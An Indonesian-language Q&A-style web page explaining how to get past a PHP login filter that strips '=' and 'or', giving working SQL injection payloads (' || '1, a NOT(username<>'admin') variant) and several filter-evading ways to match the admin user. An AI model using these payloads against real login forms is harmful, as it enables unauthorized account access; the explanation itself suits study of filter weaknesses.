Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Injeksi SQL dengan pemfilteran php

Dengan asumsi definisi lvl2_filter ini , yang pada dasarnya menghapus kemunculan = dan or sampai tidak ditemukan lagi, masih mungkin untuk menggunakan operasi logika ATAU dengan || bukannya OR dan ekspresi sederhana yang bernilai true seperti:

username: dummy
password: ' || '1

Hal ini akan mengakibatkan:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Untuk memilih pengguna tertentu, seseorang dapat menggunakan aturan aljabar boolean , di mana x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Hal ini akan mengakibatkan:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Disini <> setara dengan != tetapi tidak mengandung = .

Ada juga operasi lain yang dapat digunakan untuk memastikan nama pengguna sama dengan admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Variabel yang ditentukan pengguna MySQL dalam klausa WHERE

  2. Bagaimana cara MEMESAN DENGAN SUM () di MySQL?

  3. grup mySQL berdasarkan nama anggota

  4. perbarui data di div

  5. MySQL Memotong hasil saat menggunakan Group_Concat dan Concat